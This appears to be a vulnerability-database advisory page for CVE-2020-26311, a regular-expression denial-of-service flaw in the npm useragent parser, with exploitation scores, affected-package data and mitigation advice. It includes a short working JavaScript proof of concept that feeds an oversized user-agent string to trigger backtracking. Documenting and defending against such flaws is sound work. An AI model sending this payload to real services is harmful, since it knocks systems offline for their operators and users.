CVE-2020-26311 is a high-severity (CVSS 7.5) CWE-1333 vulnerability in useragent. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
useragent Regular Expression Denial of Service vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2020-26311.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
useragentnpmDescription
Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).
PoC
async function exploit() {
const useragent = require(\"useragent\");
// Create a malicious user-agent that leads to excessive backtracking
const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';
// Parse the malicious user-agent
const agent = useragent.parse(maliciousUserAgent);
// Call the toString method to trigger the vulnerability
const result = await agent.device.toString();
console.log(result);
}
await exploit();
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | useragent | all versions | No fix |
Affected Products
useragentuseragent_projectResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for useragent, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of useragent for CVE-2020-26311. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
The ReDoS vulnerability in the useragent library is considered an important severity rather than critical because it primarily affects application availability, not confidentiality or integrity. This vulnerability occurs when inefficient regular expressions lead to excessive backtracking under specific input patterns,…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for CVE-2020-26311 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2020-26311 in your dependencies?
Find it across npm, including transitive dependencies.